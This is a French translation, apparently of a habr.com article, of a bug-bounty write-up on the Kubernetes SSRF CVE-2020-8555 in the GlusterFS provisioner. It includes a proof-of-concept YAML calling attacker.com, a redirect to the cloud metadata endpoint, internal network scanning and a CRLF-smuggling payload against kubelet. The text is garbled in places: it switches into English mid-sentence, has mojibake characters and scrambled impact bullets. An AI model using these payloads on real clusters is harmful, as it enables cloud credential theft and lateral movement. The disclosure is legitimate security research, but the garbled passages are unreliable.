Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes


Note de traduction.: Les auteurs de cet article expliquent en dĂ©tail comment ils ont rĂ©ussi Ă  dĂ©couvrir une vulnĂ©rabilitĂ© CVE-2020–8555 dans Kubernetes. Bien qu'elle semblait initialement peu dangereuse, sa criticitĂ© a Ă©tĂ© maximale chez certains fournisseurs cloud en raison de divers facteurs. Plusieurs organisations ont gĂ©nĂ©reusement rĂ©compensĂ© le travail des spĂ©cialistes.

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes


Qui sommes-nous

Nous sommes deux chercheurs français en sécurité qui ont découvert ensemble une vulnérabilité dans Kubernetes. Nous sommes Brice Augras et Christophe Hauquiert, mais sur de nombreuses plateformes Bug Bounty, nous sommes connus sous les noms de Reeverzax et Hach respectivement :

Que s'est-il passé?

Cet article est notre façon de raconter comment un projet de recherche ordinaire s'est soudainement transformé en la plus passionnante aventure de la vie des chasseurs de bugs (du moins jusqu'à présent).

Comme vous le savez sûrement, les chasseurs de bugs ont quelques particularités :

  • ils vivent de pizzas et de biĂšre ;
  • ils travaillent quand tout le monde dort.

Nous ne faisons pas exception à ces rÚgles : nous nous rencontrons généralement le week-end et passons des nuits blanches à hacker. Mais l'une de ces nuits s'est terminée de maniÚre assez inhabituelle.

Au départ, nous avions prévu de nous rencontrer pour discuter de notre participation à CTF le lendemain. En discutant de la sécurité de Kubernetes dans un environnement de service géré, nous nous sommes rappelés d'une vieille idée de SSRF (Server-Side Request Forgery) et avons décidé d'essayer de l'utiliser comme scénario d'attaque.

À 23 heures, nous nous sommes penchĂ©s sur les recherches et sommes allĂ©s nous coucher tĂŽt le matin, plutĂŽt satisfaits des rĂ©sultats. C'est grĂące Ă  ces recherches que nous sommes tombĂ©s sur le programme MSRC Bug Bounty et avons conçu un exploit avec Ă©lĂ©vation de privilĂšges.

Quelques semaines/mois plus tard, notre rĂ©sultat inattendu nous a permis de recevoir l'une des plus grandes rĂ©compenses de l'histoire du programme Azure Cloud Bug Bounty — en plus de celle que nous avons obtenue de Kubernetes !

Suite Ă  notre projet de recherche, le comitĂ© Kubernetes Product Security Committee a publiĂ© CVE-2020–8555.

Nous souhaitons maintenant diffuser au maximum les informations sur la vulnérabilité trouvée. Nous espérons que vous apprécierez cette découverte et partagerez les détails techniques avec d'autres membres de la communauté infosec !

Alors, voici notre histoire


Contexte

Pour comprendre pleinement le sens de ce qui s'est passé, examinons d'abord comment Kubernetes fonctionne dans un environnement cloud géré.

Lors de la création d'une instance de cluster Kubernetes dans un tel environnement, le fonctionnement de la couche de gestion est généralement pris en charge par le fournisseur de services cloud :

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes

La couche de gestion se situe dans le pĂ©rimĂštre du fournisseur de cloud, tandis que les nƓuds Kubernetes se trouvent dans le pĂ©rimĂštre du client.

Un mécanisme de provisionnement dynamique des volumes est utilisé, qui fournit des volumes depuis un backend de stockage externe et les associe à des PVC (persistent volume claim, c'est-à-dire une demande de volume).

Ainsi, aprÚs la création et l'association du PVC à une StorageClass dans le cluster K8s, le kube/cloud controller manager prend en charge les étapes suivantes pour le provisionnement du volume (son nom exact dépend de la version). (Note de traduction.: Nous avons déjà écrit sur le CCM en prenant l'exemple de son implémentation pour l'un des fournisseurs de cloud. ici.)

Il existe plusieurs types de provisioners pris en charge par Kubernetes : la plupart d'entre eux sont intégrés au noyau de l'orchestrateur,tandis que d'autres sont gérés par des provisioners supplémentaires, qui sont déployés dans des pods au sein du cluster.

Dans notre recherche, nous nous sommes concentrés sur le mécanisme interne de provisionnement des volumes, illustré ci-dessous :

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes

Provisionnement dynamique de volumes à l'aide du provisioner intégré de Kubernetes.

En résumé, lorsque Kubernetes est déployé dans un environnement géré, la responsabilité du controller manager incombe au fournisseur de services cloud, mais la demande de création d'un volume (numéro 3 sur le schéma ci-dessus) quitte le périmÚtre du réseau interne du fournisseur de cloud. Cela rend la situation vraiment intéressante !

Scénario de piratage

Dans cette section, nous verrons comment nous avons exploitĂ© le flux de travail mentionnĂ© ci-dessus pour accĂ©der aux ressources internes du fournisseur de services cloud. De plus, nous montrerons comment certaines actions peuvent ĂȘtre rĂ©alisĂ©es, par exemple, obtenir des identifiants internes ou procĂ©der Ă  une Ă©lĂ©vation de privilĂšges.

Une simple manipulation (dans ce cas, il s'agit de Service Side Request Forgery) a permis de sortir du périmÚtre client dans les clusters de divers fournisseurs de services gérés par K8s.

Dans nos recherches, nous nous sommes concentrĂ©s sur le provisionneur GlusterFS. Bien que la sĂ©quence d'actions suivante soit dĂ©crite dans ce contexte, cette mĂȘme vulnĂ©rabilitĂ© concerne Quobyte, StorageOS et ScaleIO.

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes

Abus du mécanisme de provisionnement dynamique des volumes

Lors de l'analyse de la classe de stockage GlusterFS dans le code source du client en Golang, nous ont remarquĂ©, ce qui, lors de la premiĂšre requĂȘte HTTP (3) envoyĂ©e lors de la crĂ©ation du volume, se trouve Ă  la fin de l'URL utilisateur dans le paramĂštre resturl la mĂȘme information que pour le conteneur ordinaire. /volumes.

Pour Ă©liminer ce chemin supplĂ©mentaire, nous avons dĂ©cidĂ© d'ajouter # -CommandName resturl. Voici la premiĂšre configuration YAML que nous avons utilisĂ©e pour tester la vulnĂ©rabilitĂ© « semi-aveugle » SSRF (pour en savoir plus sur le SSRF semi-aveugle ou half-blind, par exemple, ici — n.d.t.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Ensuite, pour gérer à distance le cluster Kubernetes, nous avons utilisé le binaire kubectl. En rÚgle générale, les fournisseurs de cloud (Azure, Google, AWS, etc.) permettent d'obtenir des informations d'identification pour les utiliser avec cet utilitaire.

GrĂące Ă  cela, nous avons pu appliquer notre fichier « spĂ©cial ». Le kube-controller-manager a effectuĂ© la requĂȘte HTTP rĂ©sultante :

kubectl create -f sc-poc.yaml

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes

Réponse du point de vue de l'attaquant

Peu aprĂšs, nous avons Ă©galement pu obtenir une rĂ©ponse HTTP du serveur cible — via les commandes describe pvc ou get events dans kubectl. Et en effet : ce pilote Kubernetes est par dĂ©faut trop bavard dans ses avertissements/messages d'erreur


Voici un exemple avec un lien vers https://www.google.fr, défini en tant que paramÚtre resturl:

kubectl describe pvc poc-ssrf
# ou vous pouvez utiliser kubectl get events

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes


Dans le cadre de cette approche, nous Ă©tions limitĂ©s aux requĂȘtes de type HTTP POST et ne pouvions pas obtenir le contenu du corps de la rĂ©ponse si le code retournĂ© Ă©tait 201. Nous avons donc dĂ©cidĂ© de mener des recherches supplĂ©mentaires et d'Ă©largir ce scĂ©nario de piratage avec de nouvelles approches.

L'évolution de nos recherches

  • ScĂ©nario avancĂ© n°1 : utilisation d'une redirection 302 depuis un serveur externe pour modifier la mĂ©thode HTTP afin d'avoir un moyen plus flexible de collecter des donnĂ©es internes.
  • ScĂ©nario avancĂ© n°2 : automatisation de la numĂ©risation LAN et dĂ©couverte des ressources internes.
  • ScĂ©nario avancĂ© n°3 : utilisation de HTTP CRLF + smuggling pour crĂ©er des requĂȘtes HTTP personnalisĂ©es et obtenir des donnĂ©es extraites des journaux du kube-controller.

Spécifications techniques

  • L'Ă©tude a utilisĂ© Azure Kubernetes Service (AKS) avec Kubernetes version 1.12 dans la rĂ©gion Europe du Nord.
  • Les scĂ©narios dĂ©crits ci-dessus ont Ă©tĂ© exĂ©cutĂ©s sur les derniĂšres versions de Kubernetes Ă  l'exception du troisiĂšme scĂ©nario, car il nĂ©cessitait une version de Kubernetes compilĂ©e avec Golang ≀ 1.12.
  • Serveur externe de l'attaquant — https://attacker.com.

ScĂ©nario avancĂ© n°1 : redirection de la requĂȘte HTTP POST en GET et obtention de donnĂ©es sensibles

La mĂ©thode initiale a Ă©tĂ© amĂ©liorĂ©e par la configuration du serveur de l'attaquant pour retourner 302 HTTP Retcode, pour convertir la requĂȘte POST en requĂȘte GET (Ă©tape 4 sur le schĂ©ma) :

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes


La premiĂšre requĂȘte (3), Ă©manant du client GlusterFS (Controller Manager), est de type POST. En suivant les Ă©tapes suivantes, nous avons pu la transformer en GET :

  • En tant que paramĂštre resturl dans StorageClass, il est spĂ©cifiĂ© http://attacker.com/redirect.php.
  • L'Endpoint https://attacker.com/redirect.php rĂ©pond avec un code d'Ă©tat 302 HTTP avec l'en-tĂȘte Location suivant : http://169.254.169.254. Cela peut ĂȘtre n'importe quelle autre ressource interne — dans ce cas, le lien de redirection est utilisĂ© uniquement Ă  titre d'exemple.
  • Par dĂ©faut bibliothĂšque net/http de Golang redirige la requĂȘte et convertit POST en GET avec un code d'Ă©tat 302, entraĂźnant l'envoi d'une requĂȘte HTTP GET vers la ressource cible.

Pour lire le corps de la réponse HTTP, il faut faire describe de l'objet PVC :

kubectl describe pvc xxx

Voici un exemple de réponse HTTP au format JSON que nous avons réussi à obtenir :

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes


Les capacités de la vulnérabilité trouvée à l'époque étaient limitées en raison des éléments suivants :

  • L'impossibilitĂ© d'insĂ©rer des en-tĂȘtes HTTP dans la requĂȘte sortante.
  • L'incapacitĂ© Ă  effectuer une requĂȘte POST avec des paramĂštres dans le corps (ce qui est pratique pour demander la valeur d'une clĂ© d'une instance etcd fonctionnant sur 2379 le port, si HTTP non sĂ©curisĂ© est utilisĂ©).
  • L'incapacitĂ© Ă  obtenir le contenu du corps de la rĂ©ponse lorsque le code d'Ă©tat Ă©tait de 200 et que la rĂ©ponse n'avait pas de Content-Type JSON.

Scénario avancé n°2 : scan du réseau local

Cette méthode SSRF half-blind a ensuite été utilisée pour scanner le réseau interne du fournisseur de services cloud et interroger divers services à l'écoute (instance Metadata, Kubelet, etcd, etc.) basés sur les réponses du kube controller.

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes


Tout d'abord, les ports standards d'Ă©coute des composants Kubernetes (8443, 10250, 10251, etc.) ont Ă©tĂ© identifiĂ©s, puis le processus de scan a dĂ» ĂȘtre automatisĂ©.

Confronté au fait que cette méthode de scan des ressources est trÚs spécifique et incompatible avec les scanners classiques et les outils SSRF, nous avons décidé de créer nos propres workers dans un script bash pour automatiser l'ensemble du processus.

Par exemple, pour scanner plus rapidement la plage 172.16.0.0/12 du rĂ©seau interne, 15 workers Ă©taient lancĂ©s en parallĂšle. La plage d'IP mentionnĂ©e ci-dessus a Ă©tĂ© choisie uniquement Ă  titre d'exemple et peut ĂȘtre modifiĂ©e pour la plage IP d'un fournisseur de services spĂ©cifique.

Pour scanner une seule adresse IP et un seul port, il est nécessaire de procéder comme suit :

  • supprimer le StorageClass vĂ©rifiĂ© prĂ©cĂ©demment ;
  • supprimer le Persistent Volume Claim prĂ©cĂ©demment vĂ©rifiĂ© ;
  • changer les valeurs d'IP et de port dans sc.yaml;
  • crĂ©er un StorageClass avec la nouvelle IP et le nouveau port ;
  • crĂ©er un nouveau PVC ;
  • extraire les rĂ©sultats du scan Ă  l'aide de describe pour le PVC.

Scénario avancé n°3 : injection CRLF + smuggling HTTP dans les « anciennes » versions du cluster Kubernetes

Si, en plus, le fournisseur offrait aux clients des anciennes versions du cluster K8s et et leur donnait accÚs aux logs de kube-controller-manager, l'effet devenait encore plus marqué.

Il est en effet beaucoup plus facile pour un attaquant de modifier Ă  sa guise les requĂȘtes HTTP destinĂ©es Ă  obtenir la rĂ©ponse HTTP complĂšte.

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes


Pour rĂ©aliser le dernier scĂ©nario, les conditions suivantes devaient ĂȘtre remplies :

  • L'utilisateur doit avoir accĂšs aux logs du kube-controller-manager (comme c'est le cas par exemple dans Azure LogInsights).
  • Le cluster Kubernetes doit utiliser une version de Golang infĂ©rieure Ă  1.12.

Nous avons déployé un environnement local simulant l'échange de données entre le client Go GlusterFS et un faux serveur cible (nous nous abstiendrons de publier le PoC pour l'instant).

Une vulnérabilité a été découverte CVE-2020-10174, touchant les versions de Golang inférieures à 1.12 et permettant aux hackers de mener des attaques de type HTTP smuggling/CRLF.

En combinant le SSRF half-blind dĂ©crit prĂ©cĂ©demment ensemble avec celui-ci, nous avons pu envoyer des requĂȘtes Ă  notre guise, y compris en remplaçant les en-tĂȘtes, la mĂ©thode HTTP, les paramĂštres et les donnĂ©es que kube-controller-manager traitait ensuite.

Voici un exemple de « leurre » fonctionnel dans le paramĂštre resturl du StorageClass, qui met en Ɠuvre un tel scĂ©nario d'attaque :

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Cela entraßne une erreur réponse non sollicitée, message that is recorded in the controller logs. Thanks to the default enabled 'verbosity', the content of the HTTP response message is also saved there.

Quand il ne s'agit pas seulement d'une vulnérabilité dans Kubernetes


This was our most effective 'bait' within the proof of concept.

By using this approach, we were able to carry out some of the following attacks in clusters from various managed k8s providers: privilege escalation with credential acquisition on metadata instances, DoS attacks on the master through (unencrypted) HTTP requests to the master instances of etcd, and so on.

Conséquences

In the official statement from Kubernetes regarding the SSRF vulnerability we discovered, it was assigned a rating CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. When considering only the vulnerability related to the Kubernetes perimeter, the integrity vector (integrity vector) is classified as TSSAA.

However, assessing the potential consequences in the context of a managed service environment (and this was the most interesting part of our research!) prompted us to reclassify the vulnerability to a rating Critical CVSS10/10 for many distributors.

Below is additional information that will help understand what guided us in assessing potential consequences in cloud environments:

Intégrité

  • Remote command execution using acquired internal credentials.
  • Reproducing the above scenario via IDOR (Insecure Direct Object Reference) with other resources found in the local network.

Confidentialité

  • A lateral movement attack due to the theft of cloud credentials (e.g., metadata API). Information gathering through local network scanning (determining SSH version, HTTP server version, 
).
  • Collecting information about instances and infrastructure by querying internal APIs, such as the metadata API (
  • Theft of client data using cloud credentials.http://169.254.169.254, 
).
  • All exploit scenarios related to attack vectors on

Disponibilité

integrity , can be used for destructive actions and lead to master instances from the client perimeter (or any other) becoming unavailable., peuvent ĂȘtre utilisĂ©s Ă  des fins destructrices et entraĂźner l'inaccessibilitĂ© des masters instances depuis le pĂ©rimĂštre client (ou tout autre).

Étant donnĂ© que nous Ă©tions dans un environnement K8s gĂ©rĂ© et Ă©valuions l'impact sur l'intĂ©gritĂ©, de nombreux scĂ©narios susceptibles d'affecter la disponibilitĂ© peuvent ĂȘtre imaginĂ©s. À titre d'exemples supplĂ©mentaires, on peut citer la corruption de la base de donnĂ©es etcd ou l'exĂ©cution d'un appel critique Ă  l'API Kubernetes.

Chronologie

  • 6 dĂ©cembre 2019 : envoi d'un message concernant une vulnĂ©rabilitĂ© dĂ©couverte au programme MSRC Bug Bounty.
  • 3 janvier 2020 : un tiers a informĂ© les dĂ©veloppeurs de Kubernetes que nous travaillions sur un problĂšme de sĂ©curitĂ© et a demandĂ© Ă  ce qu'ils considĂšrent le SSRF comme une vulnĂ©rabilitĂ© in-core. Suite Ă  cela, nous avons soumis un rapport global avec des dĂ©tails techniques sur la source du problĂšme.
  • 15 janvier 2020 : nous avons fourni aux dĂ©veloppeurs de Kubernetes des rapports techniques et globaux Ă  leur demande (via la plateforme HackerOne).
  • 15 janvier 2020 : les dĂ©veloppeurs de Kubernetes nous ont informĂ©s que le SSRF half-blind + injection CRLF pour les versions passĂ©es Ă©tait considĂ©rĂ© comme une vulnĂ©rabilitĂ© in-core. Nous avons immĂ©diatement cessĂ© l'analyse des pĂ©rimĂštres d'autres fournisseurs : l'Ă©quipe K8s s'occupait dĂ©sormais de la cause profonde.
  • 15 janvier 2020 : rĂ©compense reçue de MSRC via HackerOne.
  • 16 janvier 2020 : le PSC (Product Security Committee) de Kubernetes a reconnu la vulnĂ©rabilitĂ© et a demandĂ© Ă  la garder secrĂšte jusqu'Ă  la mi-mars en raison du grand nombre de victimes potentielles.
  • 11 fĂ©vrier 2020 : rĂ©compense reçue de Google VRP.
  • 4 mars 2020 : rĂ©compense reçue de Kubernetes via HackerOne.
  • 15 mars 2020 : la divulgation publique initialement prĂ©vue a Ă©tĂ© reportĂ©e en raison de la situation COVID-19.
  • 1er juin 2020 : dĂ©claration conjointe de Kubernetes + Microsoft concernant la vulnĂ©rabilitĂ©.

TL;DR

  • Nous buvons de la biĂšre et mangeons de la pizza 🙂
  • Nous avons dĂ©couvert une vulnĂ©rabilitĂ© in-core dans Kubernetes, mĂȘme si nous n'avions pas l'intention de le faire.
  • Nous avons menĂ© une analyse supplĂ©mentaire dans les clusters de divers fournisseurs de services cloud et avons pu aggraver les dĂ©gĂąts causĂ©s par la vulnĂ©rabilitĂ© pour obtenir des bonus supplĂ©mentaires incroyables.
  • Dans cet article, vous trouverez de nombreux dĂ©tails techniques. Nous serions ravis d'en discuter avec vous (Twitter : @ReeverZax & @__hach_).
  • Il s'est avĂ©rĂ© que toutes les formalitĂ©s et la rĂ©daction des rapports prennent beaucoup plus de temps que prĂ©vu.

Liens

P.S. de l'auteur

Lisez aussi dans notre blog :

Source : habr.com

Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS đŸ”„ Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS | ProHoster